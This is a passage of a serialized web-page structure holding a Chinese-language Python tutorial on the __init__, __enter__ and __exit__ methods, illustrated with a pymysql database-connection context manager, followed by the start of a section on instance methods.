“魔术方法”（Magic Methods），分别负责",{"type":18,"tag":105,"props":76523,"children":76524},{},[76525],{"type":24,"value":76526},"初始化实例",{"type":24,"value":1942},{"type":18,"tag":105,"props":76529,"children":76530},{},[76531],{"type":24,"value":76532},"上下文管理的进入",{"type":24,"value":10315},{"type":18,"tag":105,"props":76535,"children":76536},{},[76537],{"type":24,"value":76538},"上下文管理的退出",{"type":24,"value":76540},"，三者功能和使用场景完全不同，以下是详细拆解：",{"type":18,"tag":27,"props":76542,"children":76544},{"id":76543},"_1__init__实例的-构造初始化方法",[76545,76547,76552],{"type":24,"value":76546},"1. ",{"type":18,"tag":74,"props":76548,"children":76550},{"className":76549},[],[76551],{"type":24,"value":39799},{"type":24,"value":76553},"：实例的 “构造初始化方法”",{"type":18,"tag":210,"props":76555,"children":76556},{},[76557,76588,76613],{"type":18,"tag":158,"props":76558,"children":76559},{},[76560,76564,76566,76572,76574,76579,76581,76586],{"type":18,"tag":105,"props":76561,"children":76562},{},[76563],{"type":24,"value":5533},{"type":24,"value":76565},"：当通过 ",{"type":18,"tag":74,"props":76567,"children":76569},{"className":76568},[],[76570],{"type":24,"value":76571},"类名()",{"type":24,"value":76573}," 创建实例时，",{"type":18,"tag":74,"props":76575,"children":76577},{"className":76576},[],[76578],{"type":24,"value":39799},{"type":24,"value":76580}," 会",{"type":18,"tag":105,"props":76582,"children":76583},{},[76584],{"type":24,"value":76585},"自动被调用",{"type":24,"value":76587},"，用于初始化实例的属性、分配资源（如变量赋值、打开文件等），是实例创建后的 “第一站”。",{"type":18,"tag":158,"props":76589,"children":76590},{},[76591,76596,76598,76604,76606,76611],{"type":18,"tag":105,"props":76592,"children":76593},{},[76594],{"type":24,"value":76595},"本质",{"type":24,"value":76597},"：它不是 “构造函数”（真正创建实例的是 ",{"type":18,"tag":74,"props":76599,"children":76601},{"className":76600},[],[76602],{"type":24,"value":76603},"__new__",{"type":24,"value":76605},"），而是 “初始化函数”，接收刚创建的实例（",{"type":18,"tag":74,"props":76607,"children":76609},{"className":76608},[],[76610],{"type":24,"value":76130},{"type":24,"value":76612},"）并对其初始化。",{"type":18,"tag":158,"props":76614,"children":76615},{},[76616,76621,76622],{"type":18,"tag":105,"props":76617,"children":76618},{},[76619],{"type":24,"value":76620},"关键特征",{"type":24,"value":19800},{"type":18,"tag":210,"props":76623,"children":76624},{},[76625,76637,76649],{"type":18,"tag":158,"props":76626,"children":76627},{},[76628,76630,76635],{"type":24,"value":76629},"第一个参数必须是 ",{"type":18,"tag":74,"props":76631,"children":76633},{"className":76632},[],[76634],{"type":24,"value":76130},{"type":24,"value":76636},"，代表当前实例本身。",{"type":18,"tag":158,"props":76638,"children":76639},{},[76640,76642,76647],{"type":24,"value":76641},"无返回值（若强行返回非 ",{"type":18,"tag":74,"props":76643,"children":76645},{"className":76644},[],[76646],{"type":24,"value":2496},{"type":24,"value":76648}," 会报错）。",{"type":18,"tag":158,"props":76650,"children":76651},{},[76652,76654,76659],{"type":24,"value":76653},"若未自定义，Python 会提供默认的空 ",{"type":18,"tag":74,"props":76655,"children":76657},{"className":76656},[],[76658],{"type":24,"value":39799},{"type":24,"value":111},{"type":18,"tag":337,"props":76661,"children":76662},{"id":9987},[76663],{"type":24,"value":20328},{"type":18,"tag":287,"props":76665,"children":76667},{"code":76666,"language":28712,"meta":8,"className":28710,"style":8},"class Student:\n    # 自定义__init__，初始化实例的name和age属性\n    def __init__(self, name, age):\n        self.name = name  # 给实例绑定name属性\n        self.age = age    # 给实例绑定age属性\n\n# 创建实例时，自动调用__init__，传入name和age参数\nstu = Student(\"张三\", 20)\nprint(stu.name)  # 输出：张三（__init__初始化的属性可直接使用）\n",[76668],{"type":18,"tag":74,"props":76669,"children":76670},{"__ignoreMap":8},[76671,76679,76687,76695,76703,76711,76718,76726,76734],{"type":18,"tag":297,"props":76672,"children":76673},{"class":299,"line":300},[76674],{"type":18,"tag":297,"props":76675,"children":76676},{},[76677],{"type":24,"value":76678},"class Student:\n",{"type":18,"tag":297,"props":76680,"children":76681},{"class":299,"line":657},[76682],{"type":18,"tag":297,"props":76683,"children":76684},{},[76685],{"type":24,"value":76686},"    # 自定义__init__，初始化实例的name和age属性\n",{"type":18,"tag":297,"props":76688,"children":76689},{"class":299,"line":662},[76690],{"type":18,"tag":297,"props":76691,"children":76692},{},[76693],{"type":24,"value":76694},"    def __init__(self, name, age):\n",{"type":18,"tag":297,"props":76696,"children":76697},{"class":299,"line":799},[76698],{"type":18,"tag":297,"props":76699,"children":76700},{},[76701],{"type":24,"value":76702},"        self.name = name  # 给实例绑定name属性\n",{"type":18,"tag":297,"props":76704,"children":76705},{"class":299,"line":808},[76706],{"type":18,"tag":297,"props":76707,"children":76708},{},[76709],{"type":24,"value":76710},"        self.age = age    # 给实例绑定age属性\n",{"type":18,"tag":297,"props":76712,"children":76713},{"class":299,"line":817},[76714],{"type":18,"tag":297,"props":76715,"children":76716},{"emptyLinePlaceholder":793},[76717],{"type":24,"value":796},{"type":18,"tag":297,"props":76719,"children":76720},{"class":299,"line":826},[76721],{"type":18,"tag":297,"props":76722,"children":76723},{},[76724],{"type":24,"value":76725},"# 创建实例时，自动调用__init__，传入name和age参数\n",{"type":18,"tag":297,"props":76727,"children":76728},{"class":299,"line":4524},[76729],{"type":18,"tag":297,"props":76730,"children":76731},{},[76732],{"type":24,"value":76733},"stu = Student(\"张三\", 20)\n",{"type":18,"tag":297,"props":76735,"children":76736},{"class":299,"line":4533},[76737],{"type":18,"tag":297,"props":76738,"children":76739},{},[76740],{"type":24,"value":76741},"print(stu.name)  # 输出：张三（__init__初始化的属性可直接使用）\n",{"type":18,"tag":27,"props":76743,"children":76745},{"id":76744},"_2__enter__上下文管理器的-进入方法",[76746,76748,76753],{"type":24,"value":76747},"2. ",{"type":18,"tag":74,"props":76749,"children":76751},{"className":76750},[],[76752],{"type":24,"value":76512},{"type":24,"value":76754},"：上下文管理器的 “进入方法”",{"type":18,"tag":210,"props":76756,"children":76757},{},[76758,76794,76825],{"type":18,"tag":158,"props":76759,"children":76760},{},[76761,76765,76767,76773,76775,76780,76782,76787,76788,76792],{"type":18,"tag":105,"props":76762,"children":76763},{},[76764],{"type":24,"value":5533},{"type":24,"value":76766},"：当实例被用于 ",{"type":18,"tag":74,"props":76768,"children":76770},{"className":76769},[],[76771],{"type":24,"value":76772},"with",{"type":24,"value":76774}," 语句（上下文管理器）时，进入 ",{"type":18,"tag":74,"props":76776,"children":76778},{"className":76777},[],[76779],{"type":24,"value":76772},{"type":24,"value":76781}," 代码块前，",{"type":18,"tag":74,"props":76783,"children":76785},{"className":76784},[],[76786],{"type":24,"value":76512},{"type":24,"value":76580},{"type":18,"tag":105,"props":76789,"children":76790},{},[76791],{"type":24,"value":76585},{"type":24,"value":76793},"，主要用于 “准备资源”（如创建数据库连接、打开文件、获取锁等）。",{"type":18,"tag":158,"props":76795,"children":76796},{},[76797,76802,76804,76809,76811,76816,76818,76823],{"type":18,"tag":105,"props":76798,"children":76799},{},[76800],{"type":24,"value":76801},"使用前提",{"type":24,"value":76803},"：类必须同时实现 ",{"type":18,"tag":74,"props":76805,"children":76807},{"className":76806},[],[76808],{"type":24,"value":76512},{"type":24,"value":76810}," 和 ",{"type":18,"tag":74,"props":76812,"children":76814},{"className":76813},[],[76815],{"type":24,"value":76519},{"type":24,"value":76817},"，才是合格的 “上下文管理器”，才能用在 ",{"type":18,"tag":74,"props":76819,"children":76821},{"className":76820},[],[76822],{"type":24,"value":76772},{"type":24,"value":76824}," 中。",{"type":18,"tag":158,"props":76826,"children":76827},{},[76828,76832,76833],{"type":18,"tag":105,"props":76829,"children":76830},{},[76831],{"type":24,"value":76620},{"type":24,"value":19800},{"type":18,"tag":210,"props":76834,"children":76835},{},[76836,76848],{"type":18,"tag":158,"props":76837,"children":76838},{},[76839,76841,76846],{"type":24,"value":76840},"第一个参数是 ",{"type":18,"tag":74,"props":76842,"children":76844},{"className":76843},[],[76845],{"type":24,"value":76130},{"type":24,"value":76847},"，代表当前实例。",{"type":18,"tag":158,"props":76849,"children":76850},{},[76851,76856,76858,76863,76865,76870],{"type":18,"tag":105,"props":76852,"children":76853},{},[76854],{"type":24,"value":76855},"必须有返回值",{"type":24,"value":76857},"：通常返回 ",{"type":18,"tag":74,"props":76859,"children":76861},{"className":76860},[],[76862],{"type":24,"value":76130},{"type":24,"value":76864},"（让 ",{"type":18,"tag":74,"props":76866,"children":76868},{"className":76867},[],[76869],{"type":24,"value":76772},{"type":24,"value":76871}," 语句的变量直接指向实例，方便后续操作）。",{"type":18,"tag":337,"props":76873,"children":76875},{"id":76874},"示例结合数据库场景",[76876],{"type":24,"value":76877},"示例（结合数据库场景）：",{"type":18,"tag":287,"props":76879,"children":76881},{"code":76880,"language":28712,"meta":8,"className":28710,"style":8},"class DBConn:\n    def __init__(self, db_config):\n        self.db_config = db_config\n        self.conn = None  # 初始化时暂不创建连接\n\n    # 进入with块时，创建数据库连接（准备资源）\n    def __enter__(self):\n        self.conn = pymysql.connect(**self.db_config)  # 准备连接资源\n        return self  # 返回实例，让with变量指向它\n\n# 使用with语句：进入时自动调用__enter__\nwith DBConn(config) as db:\n    # db就是__enter__返回的实例，可直接使用其conn属性\n    print(db.conn)  # 输出：数据库连接对象\n",[76882],{"type":18,"tag":74,"props":76883,"children":76884},{"__ignoreMap":8},[76885,76893,76901,76909,76917,76924,76932,76940,76948,76956,76963,76971,76979,76987],{"type":18,"tag":297,"props":76886,"children":76887},{"class":299,"line":300},[76888],{"type":18,"tag":297,"props":76889,"children":76890},{},[76891],{"type":24,"value":76892},"class DBConn:\n",{"type":18,"tag":297,"props":76894,"children":76895},{"class":299,"line":657},[76896],{"type":18,"tag":297,"props":76897,"children":76898},{},[76899],{"type":24,"value":76900},"    def __init__(self, db_config):\n",{"type":18,"tag":297,"props":76902,"children":76903},{"class":299,"line":662},[76904],{"type":18,"tag":297,"props":76905,"children":76906},{},[76907],{"type":24,"value":76908},"        self.db_config = db_config\n",{"type":18,"tag":297,"props":76910,"children":76911},{"class":299,"line":799},[76912],{"type":18,"tag":297,"props":76913,"children":76914},{},[76915],{"type":24,"value":76916},"        self.conn = None  # 初始化时暂不创建连接\n",{"type":18,"tag":297,"props":76918,"children":76919},{"class":299,"line":808},[76920],{"type":18,"tag":297,"props":76921,"children":76922},{"emptyLinePlaceholder":793},[76923],{"type":24,"value":796},{"type":18,"tag":297,"props":76925,"children":76926},{"class":299,"line":817},[76927],{"type":18,"tag":297,"props":76928,"children":76929},{},[76930],{"type":24,"value":76931},"    # 进入with块时，创建数据库连接（准备资源）\n",{"type":18,"tag":297,"props":76933,"children":76934},{"class":299,"line":826},[76935],{"type":18,"tag":297,"props":76936,"children":76937},{},[76938],{"type":24,"value":76939},"    def __enter__(self):\n",{"type":18,"tag":297,"props":76941,"children":76942},{"class":299,"line":4524},[76943],{"type":18,"tag":297,"props":76944,"children":76945},{},[76946],{"type":24,"value":76947},"        self.conn = pymysql.connect(**self.db_config)  # 准备连接资源\n",{"type":18,"tag":297,"props":76949,"children":76950},{"class":299,"line":4533},[76951],{"type":18,"tag":297,"props":76952,"children":76953},{},[76954],{"type":24,"value":76955},"        return self  # 返回实例，让with变量指向它\n",{"type":18,"tag":297,"props":76957,"children":76958},{"class":299,"line":4546},[76959],{"type":18,"tag":297,"props":76960,"children":76961},{"emptyLinePlaceholder":793},[76962],{"type":24,"value":796},{"type":18,"tag":297,"props":76964,"children":76965},{"class":299,"line":4555},[76966],{"type":18,"tag":297,"props":76967,"children":76968},{},[76969],{"type":24,"value":76970},"# 使用with语句：进入时自动调用__enter__\n",{"type":18,"tag":297,"props":76972,"children":76973},{"class":299,"line":4568},[76974],{"type":18,"tag":297,"props":76975,"children":76976},{},[76977],{"type":24,"value":76978},"with DBConn(config) as db:\n",{"type":18,"tag":297,"props":76980,"children":76981},{"class":299,"line":4577},[76982],{"type":18,"tag":297,"props":76983,"children":76984},{},[76985],{"type":24,"value":76986},"    # db就是__enter__返回的实例，可直接使用其conn属性\n",{"type":18,"tag":297,"props":76988,"children":76989},{"class":299,"line":4590},[76990],{"type":18,"tag":297,"props":76991,"children":76992},{},[76993],{"type":24,"value":76994},"    print(db.conn)  # 输出：数据库连接对象\n",{"type":18,"tag":27,"props":76996,"children":76998},{"id":76997},"_3__exit__上下文管理器的-退出方法",[76999,77001,77006],{"type":24,"value":77000},"3. ",{"type":18,"tag":74,"props":77002,"children":77004},{"className":77003},[],[77005],{"type":24,"value":76519},{"type":24,"value":77007},"：上下文管理器的 “退出方法”",{"type":18,"tag":210,"props":77009,"children":77010},{},[77011,77039],{"type":18,"tag":158,"props":77012,"children":77013},{},[77014,77018,77020,77025,77027,77032,77033,77037],{"type":18,"tag":105,"props":77015,"children":77016},{},[77017],{"type":24,"value":5533},{"type":24,"value":77019},"：当 ",{"type":18,"tag":74,"props":77021,"children":77023},{"className":77022},[],[77024],{"type":24,"value":76772},{"type":24,"value":77026}," 代码块执行结束（无论正常结束还是抛出异常），",{"type":18,"tag":74,"props":77028,"children":77030},{"className":77029},[],[77031],{"type":24,"value":76519},{"type":24,"value":76580},{"type":18,"tag":105,"props":77034,"children":77035},{},[77036],{"type":24,"value":76585},{"type":24,"value":77038},"，主要用于 “清理资源”（如关闭数据库连接、关闭文件、释放锁等），是上下文管理的 “最后一站”。",{"type":18,"tag":158,"props":77040,"children":77041},{},[77042,77046,77047],{"type":18,"tag":105,"props":77043,"children":77044},{},[77045],{"type":24,"value":76620},{"type":24,"value":19800},{"type":18,"tag":210,"props":77048,"children":77049},{},[77050,77106],{"type":18,"tag":158,"props":77051,"children":77052},{},[77053,77055,77060,77062,77068,77070,77075,77077,77083,77085,77090,77091,77097,77099,77104],{"type":24,"value":77054},"有 4 个参数：",{"type":18,"tag":74,"props":77056,"children":77058},{"className":77057},[],[77059],{"type":24,"value":76130},{"type":24,"value":77061},"（实例）、",{"type":18,"tag":74,"props":77063,"children":77065},{"className":77064},[],[77066],{"type":24,"value":77067},"exc_type",{"type":24,"value":77069},"（异常类型，无异常则为 ",{"type":18,"tag":74,"props":77071,"children":77073},{"className":77072},[],[77074],{"type":24,"value":2496},{"type":24,"value":77076},"）、",{"type":18,"tag":74,"props":77078,"children":77080},{"className":77079},[],[77081],{"type":24,"value":77082},"exc_val",{"type":24,"value":77084},"（异常实例，无异常则为 ",{"type":18,"tag":74,"props":77086,"children":77088},{"className":77087},[],[77089],{"type":24,"value":2496},{"type":24,"value":77076},{"type":18,"tag":74,"props":77092,"children":77094},{"className":77093},[],[77095],{"type":24,"value":77096},"exc_tb",{"type":24,"value":77098},"（异常追踪栈，无异常则为 ",{"type":18,"tag":74,"props":77100,"children":77102},{"className":77101},[],[77103],{"type":24,"value":2496},{"type":24,"value":77105},"）。",{"type":18,"tag":158,"props":77107,"children":77108},{},[77109,77111,77116,77117,77122,77124,77129,77131,77136],{"type":24,"value":77110},"返回值为布尔值（",{"type":18,"tag":74,"props":77112,"children":77114},{"className":77113},[],[77115],{"type":24,"value":30505},{"type":24,"value":5352},{"type":18,"tag":74,"props":77118,"children":77120},{"className":77119},[],[77121],{"type":24,"value":30512},{"type":24,"value":77123},"）：若返回 ",{"type":18,"tag":74,"props":77125,"children":77127},{"className":77126},[],[77128],{"type":24,"value":30505},{"type":24,"value":77130},"，表示 “已处理异常”，外部不会再捕获该异常；若返回 ",{"type":18,"tag":74,"props":77132,"children":77134},{"className":77133},[],[77135],{"type":24,"value":30512},{"type":24,"value":77137}," 或无返回值，异常会向外传播。",{"type":18,"tag":337,"props":77139,"children":77141},{"id":77140},"示例完善数据库连接的关闭逻辑",[77142],{"type":24,"value":77143},"示例（完善数据库连接的关闭逻辑）：",{"type":18,"tag":287,"props":77145,"children":77147},{"code":77146,"language":28712,"meta":8,"className":28710,"style":8},"class DBConn:\n    def __init__(self, db_config):\n        self.db_config = db_config\n        self.conn = None\n        self.cursor = None\n\n    def __enter__(self):\n        self.conn = pymysql.connect(**self.db_config)\n        self.cursor = self.conn.cursor()\n        return self\n\n    # 退出with块时，自动清理资源\n    def __exit__(self, exc_type, exc_val, exc_tb):\n        # 1. 关闭cursor（先关轻量资源）\n        if self.cursor:\n            self.cursor.close()\n        # 2. 关闭conn（再关重量级资源）\n        if self.conn:\n            self.conn.close()\n        # 3. 处理异常（可选）\n        if exc_type:\n            print(f\"发生异常：{exc_val}\")\n            # return True  # 若加这行，外部不会再捕获该异常\n\n# 使用with：结束后自动调用__exit__，关闭连接\nwith DBConn(config) as db:\n    db.cursor.execute(\"SELECT 1\")\n# 此时conn和cursor已被__exit__自动关闭\n",[77148],{"type":18,"tag":74,"props":77149,"children":77150},{"__ignoreMap":8},[77151,77158,77165,77172,77180,77188,77195,77202,77210,77218,77226,77233,77241,77249,77257,77265,77273,77281,77289,77297,77305,77313,77321,77329,77336,77344,77351,77359],{"type":18,"tag":297,"props":77152,"children":77153},{"class":299,"line":300},[77154],{"type":18,"tag":297,"props":77155,"children":77156},{},[77157],{"type":24,"value":76892},{"type":18,"tag":297,"props":77159,"children":77160},{"class":299,"line":657},[77161],{"type":18,"tag":297,"props":77162,"children":77163},{},[77164],{"type":24,"value":76900},{"type":18,"tag":297,"props":77166,"children":77167},{"class":299,"line":662},[77168],{"type":18,"tag":297,"props":77169,"children":77170},{},[77171],{"type":24,"value":76908},{"type":18,"tag":297,"props":77173,"children":77174},{"class":299,"line":799},[77175],{"type":18,"tag":297,"props":77176,"children":77177},{},[77178],{"type":24,"value":77179},"        self.conn = None\n",{"type":18,"tag":297,"props":77181,"children":77182},{"class":299,"line":808},[77183],{"type":18,"tag":297,"props":77184,"children":77185},{},[77186],{"type":24,"value":77187},"        self.cursor = None\n",{"type":18,"tag":297,"props":77189,"children":77190},{"class":299,"line":817},[77191],{"type":18,"tag":297,"props":77192,"children":77193},{"emptyLinePlaceholder":793},[77194],{"type":24,"value":796},{"type":18,"tag":297,"props":77196,"children":77197},{"class":299,"line":826},[77198],{"type":18,"tag":297,"props":77199,"children":77200},{},[77201],{"type":24,"value":76939},{"type":18,"tag":297,"props":77203,"children":77204},{"class":299,"line":4524},[77205],{"type":18,"tag":297,"props":77206,"children":77207},{},[77208],{"type":24,"value":77209},"        self.conn = pymysql.connect(**self.db_config)\n",{"type":18,"tag":297,"props":77211,"children":77212},{"class":299,"line":4533},[77213],{"type":18,"tag":297,"props":77214,"children":77215},{},[77216],{"type":24,"value":77217},"        self.cursor = self.conn.cursor()\n",{"type":18,"tag":297,"props":77219,"children":77220},{"class":299,"line":4546},[77221],{"type":18,"tag":297,"props":77222,"children":77223},{},[77224],{"type":24,"value":77225},"        return self\n",{"type":18,"tag":297,"props":77227,"children":77228},{"class":299,"line":4555},[77229],{"type":18,"tag":297,"props":77230,"children":77231},{"emptyLinePlaceholder":793},[77232],{"type":24,"value":796},{"type":18,"tag":297,"props":77234,"children":77235},{"class":299,"line":4568},[77236],{"type":18,"tag":297,"props":77237,"children":77238},{},[77239],{"type":24,"value":77240},"    # 退出with块时，自动清理资源\n",{"type":18,"tag":297,"props":77242,"children":77243},{"class":299,"line":4577},[77244],{"type":18,"tag":297,"props":77245,"children":77246},{},[77247],{"type":24,"value":77248},"    def __exit__(self, exc_type, exc_val, exc_tb):\n",{"type":18,"tag":297,"props":77250,"children":77251},{"class":299,"line":4590},[77252],{"type":18,"tag":297,"props":77253,"children":77254},{},[77255],{"type":24,"value":77256},"        # 1. 关闭cursor（先关轻量资源）\n",{"type":18,"tag":297,"props":77258,"children":77259},{"class":299,"line":4599},[77260],{"type":18,"tag":297,"props":77261,"children":77262},{},[77263],{"type":24,"value":77264},"        if self.cursor:\n",{"type":18,"tag":297,"props":77266,"children":77267},{"class":299,"line":4607},[77268],{"type":18,"tag":297,"props":77269,"children":77270},{},[77271],{"type":24,"value":77272},"            self.cursor.close()\n",{"type":18,"tag":297,"props":77274,"children":77275},{"class":299,"line":4616},[77276],{"type":18,"tag":297,"props":77277,"children":77278},{},[77279],{"type":24,"value":77280},"        # 2. 关闭conn（再关重量级资源）\n",{"type":18,"tag":297,"props":77282,"children":77283},{"class":299,"line":4624},[77284],{"type":18,"tag":297,"props":77285,"children":77286},{},[77287],{"type":24,"value":77288},"        if self.conn:\n",{"type":18,"tag":297,"props":77290,"children":77291},{"class":299,"line":4633},[77292],{"type":18,"tag":297,"props":77293,"children":77294},{},[77295],{"type":24,"value":77296},"            self.conn.close()\n",{"type":18,"tag":297,"props":77298,"children":77299},{"class":299,"line":4641},[77300],{"type":18,"tag":297,"props":77301,"children":77302},{},[77303],{"type":24,"value":77304},"        # 3. 处理异常（可选）\n",{"type":18,"tag":297,"props":77306,"children":77307},{"class":299,"line":4650},[77308],{"type":18,"tag":297,"props":77309,"children":77310},{},[77311],{"type":24,"value":77312},"        if exc_type:\n",{"type":18,"tag":297,"props":77314,"children":77315},{"class":299,"line":4658},[77316],{"type":18,"tag":297,"props":77317,"children":77318},{},[77319],{"type":24,"value":77320},"            print(f\"发生异常：{exc_val}\")\n",{"type":18,"tag":297,"props":77322,"children":77323},{"class":299,"line":4681},[77324],{"type":18,"tag":297,"props":77325,"children":77326},{},[77327],{"type":24,"value":77328},"            # return True  # 若加这行，外部不会再捕获该异常\n",{"type":18,"tag":297,"props":77330,"children":77331},{"class":299,"line":4703},[77332],{"type":18,"tag":297,"props":77333,"children":77334},{"emptyLinePlaceholder":793},[77335],{"type":24,"value":796},{"type":18,"tag":297,"props":77337,"children":77338},{"class":299,"line":4711},[77339],{"type":18,"tag":297,"props":77340,"children":77341},{},[77342],{"type":24,"value":77343},"# 使用with：结束后自动调用__exit__，关闭连接\n",{"type":18,"tag":297,"props":77345,"children":77346},{"class":299,"line":4720},[77347],{"type":18,"tag":297,"props":77348,"children":77349},{},[77350],{"type":24,"value":76978},{"type":18,"tag":297,"props":77352,"children":77353},{"class":299,"line":4728},[77354],{"type":18,"tag":297,"props":77355,"children":77356},{},[77357],{"type":24,"value":77358},"    db.cursor.execute(\"SELECT 1\")\n",{"type":18,"tag":297,"props":77360,"children":77361},{"class":299,"line":13515},[77362],{"type":18,"tag":297,"props":77363,"children":77364},{},[77365],{"type":24,"value":77366},"# 此时conn和cursor已被__exit__自动关闭\n",{"type":18,"tag":27,"props":77368,"children":77370},{"id":77369},"三者核心区别与关联",[77371],{"type":24,"value":77369},{"type":18,"tag":431,"props":77373,"children":77374},{},[77375,77399],{"type":18,"tag":435,"props":77376,"children":77377},{},[77378],{"type":18,"tag":439,"props":77379,"children":77380},{},[77381,77385,77390,77394],{"type":18,"tag":443,"props":77382,"children":77383},{},[77384],{"type":24,"value":73171},{"type":18,"tag":443,"props":77386,"children":77387},{},[77388],{"type":24,"value":77389},"触发时机",{"type":18,"tag":443,"props":77391,"children":77392},{},[77393],{"type":24,"value":3007},{"type":18,"tag":443,"props":77395,"children":77396},{},[77397],{"type":24,"value":77398},"依赖关系",{"type":18,"tag":459,"props":77400,"children":77401},{},[77402,77433,77473],{"type":18,"tag":439,"props":77403,"children":77404},{},[77405,77413,77423,77428],{"type":18,"tag":466,"props":77406,"children":77407},{},[77408],{"type":18,"tag":74,"props":77409,"children":77411},{"className":77410},[],[77412],{"type":24,"value":39799},{"type":18,"tag":466,"props":77414,"children":77415},{},[77416,77421],{"type":18,"tag":74,"props":77417,"children":77419},{"className":77418},[],[77420],{"type":24,"value":76571},{"type":24,"value":77422}," 创建实例时",{"type":18,"tag":466,"props":77424,"children":77425},{},[77426],{"type":24,"value":77427},"初始化实例属性",{"type":18,"tag":466,"props":77429,"children":77430},{},[77431],{"type":24,"value":77432},"无（独立存在）",{"type":18,"tag":439,"props":77434,"children":77435},{},[77436,77444,77456,77461],{"type":18,"tag":466,"props":77437,"children":77438},{},[77439],{"type":18,"tag":74,"props":77440,"children":77442},{"className":77441},[],[77443],{"type":24,"value":76512},{"type":18,"tag":466,"props":77445,"children":77446},{},[77447,77449,77454],{"type":24,"value":77448},"进入 ",{"type":18,"tag":74,"props":77450,"children":77452},{"className":77451},[],[77453],{"type":24,"value":76772},{"type":24,"value":77455}," 代码块时",{"type":18,"tag":466,"props":77457,"children":77458},{},[77459],{"type":24,"value":77460},"准备上下文资源（如建连接）",{"type":18,"tag":466,"props":77462,"children":77463},{},[77464,77466,77471],{"type":24,"value":77465},"必须与 ",{"type":18,"tag":74,"props":77467,"children":77469},{"className":77468},[],[77470],{"type":24,"value":76519},{"type":24,"value":77472}," 成对出现",{"type":18,"tag":439,"props":77474,"children":77475},{},[77476,77484,77495,77500],{"type":18,"tag":466,"props":77477,"children":77478},{},[77479],{"type":18,"tag":74,"props":77480,"children":77482},{"className":77481},[],[77483],{"type":24,"value":76519},{"type":18,"tag":466,"props":77485,"children":77486},{},[77487,77489,77494],{"type":24,"value":77488},"退出 ",{"type":18,"tag":74,"props":77490,"children":77492},{"className":77491},[],[77493],{"type":24,"value":76772},{"type":24,"value":77455},{"type":18,"tag":466,"props":77496,"children":77497},{},[77498],{"type":24,"value":77499},"清理上下文资源（如关连接）",{"type":18,"tag":466,"props":77501,"children":77502},{},[77503,77504,77509],{"type":24,"value":77465},{"type":18,"tag":74,"props":77505,"children":77507},{"className":77506},[],[77508],{"type":24,"value":76512},{"type":24,"value":77472},{"type":18,"tag":34,"props":77511,"children":77512},{},[77513,77518,77520,77525,77527,77532,77534,77539,77541,77546],{"type":18,"tag":105,"props":77514,"children":77515},{},[77516],{"type":24,"value":77517},"关联场景",{"type":24,"value":77519},"：在数据库、文件等需要 “用完即关” 的场景中，通常会同时实现三者 ——",{"type":18,"tag":74,"props":77521,"children":77523},{"className":77522},[],[77524],{"type":24,"value":39799},{"type":24,"value":77526}," 存配置，",{"type":18,"tag":74,"props":77528,"children":77530},{"className":77529},[],[77531],{"type":24,"value":76512},{"type":24,"value":77533}," 建连接，",{"type":18,"tag":74,"props":77535,"children":77537},{"className":77536},[],[77538],{"type":24,"value":76519},{"type":24,"value":77540}," 关连接，通过 ",{"type":18,"tag":74,"props":77542,"children":77544},{"className":77543},[],[77545],{"type":24,"value":76772},{"type":24,"value":77547}," 语句实现 “自动资源管理”。",{"type":18,"tag":19,"props":77549,"children":77551},{"id":77550},"_4-创建类的成员并访问",[77552],{"type":24,"value":77553},"4 创建类的成员并访问",{"type":18,"tag":34,"props":77555,"children":77556},{},[77557],{"type":24,"value":77558},"类的成员主要由实例方法和数据成员组成。在类中创建了类的成员后，可以通过类的实例进行访问。",{"type":18,"tag":27,"props":77560,"children":77562},{"id":77561},"_41-创建实例方法并访问",[77563],{"type":24,"value":77564},"4.1 创建实例方法并访问",{"type":18,"tag":34,"props":77566,"children":77567},{},[77568,77573],{"type":18,"tag":105,"props":77569,"children":77570},{},[77571],{"type":24,"value":77572},"所谓实例方法是指在类中定义的函数。该函数是一种在类的实例上操作的函数",{"type":24,"value":77574},"。同__init__()方法一样，实例方法的第一个参数必须是self，并且必须包含一个self参数。创建实例方法的语法格式如下：",{"type":18,"tag":287,"props":77576,"children":77578},{"code":77577,"language":28712,"meta":8,"className":28710,"style":8},"def functionName(self,parameterlist):  \n    block\n",[77579],{"type":18,"tag":74,"props":77580,"children":77581},{"__ignoreMap":8},[77582,77590],{"type":18,"tag":297,"props":77583,"children":77584},{"class":299,"line":300},[77585],{"type":18,"tag":297,"props":77586,"children":77587},{},[77588],{"type":24,"value":77589},"def functionName(self,parameterlist):  \n",{"type":18,"tag":297,"props":77591,"children":77592},{"class":299,"line":657},[77593],{"type":18,"tag":297,"props":77594,"children":77595},{},[77596],{"type":24,"value":77597},"    block\n",{"type":18,"tag":34,"props":77599,"children":77600},{},[77601],{"type":24,"value":75828},{"type":18,"tag":210,"props":77603,"children":77604},{},[77605,77616,77626,77636],{"type":18,"tag":158,"props":77606,"children":77607},{},[77608,77614],{"type":18,"tag":74,"props":77609,"children":77611},{"className":77610},[],[77612],{"type":24,"value":77613},"functionName",{"type":24,"value":77615},"：用于指定方法名，一般使用小写字母开头。",{"type":18,"tag":158,"props":77617,"children":77618},{},[77619,77624],{"type":18,"tag":74,"props":77620,"children":77622},{"className":77621},[],[77623],{"type":24,"value":76130},{"type":24,"value":77625},"：必要参数，表示类的实例，其名称可以是self以外的单词，使用self只是一个惯例而已。",{"type":18,"tag":158,"props":77627,"children":77628},{},[77629,77634],{"type":18,"tag":74,"props":77630,"children":77632},{"className":77631},[],[77633],{"type":24,"value":76001},{"type":24,"value":77635},"：用于指定除self参数以外的参数，各参数间使用逗号“,”进行分隔。",{"type":18,"tag":158,"props":77637,"children":77638},{},[77639,77645],{"type":18,"tag":74,"props":77640,"children":77642},{"className":77641},[],[77643],{"type":24,"value":77644},"block",{"type":24,"value":77646},"：方法体，实现的具体功能。",{"type":18,"tag":96,"props":77648,"children":77649},{},[77650],{"type":18,"tag":34,"props":77651,"children":77652},{},[77653],{"type":24,"value":77654},"说明：实例方法和Python中的函数的主要区别就是，函数实现的是某个独立的功能，而实例方法是实现类中的一个行为，是类的一部分。",{"type":18,"tag":34,"props":77656,"children":77657},{},[77658],{"type":24,"value":77659},"实例方法创建完成后，可以通过类的实例名称和点（.）操作符进行访问，语法格式如下：",{"type":18,"tag":287,"props":77661,"children":77663},{"code":77662,"language":28712,"meta":8,"className":28710,"style":8},"instanceName.functionName(parametervalue)\n",[77664],{"type":18,"tag":74,"props":77665,"children":77666},{"__ignoreMap":8},[77667],{"type":18,"tag":297,"props":77668,"children":77669},{"class":299,"line":300},[77670],{"type":18,"tag":297,"props":77671,"children":77672},{},[77673],{"type":24,"value":77662},{"type":18,"tag":34,"props":77675,"children":77676},{},[77677],{"type":24,"value":75828},{"type":18,"tag":210,"props":77679,"children":77680},{},[77681,77692,77702],{"type":18,"tag":158,"props":77682,"children":77683},{},[7768